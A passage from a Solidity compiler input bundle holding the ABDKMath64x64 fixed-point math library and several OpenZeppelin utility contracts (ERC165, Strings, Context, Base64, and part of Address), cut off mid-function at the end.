overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string 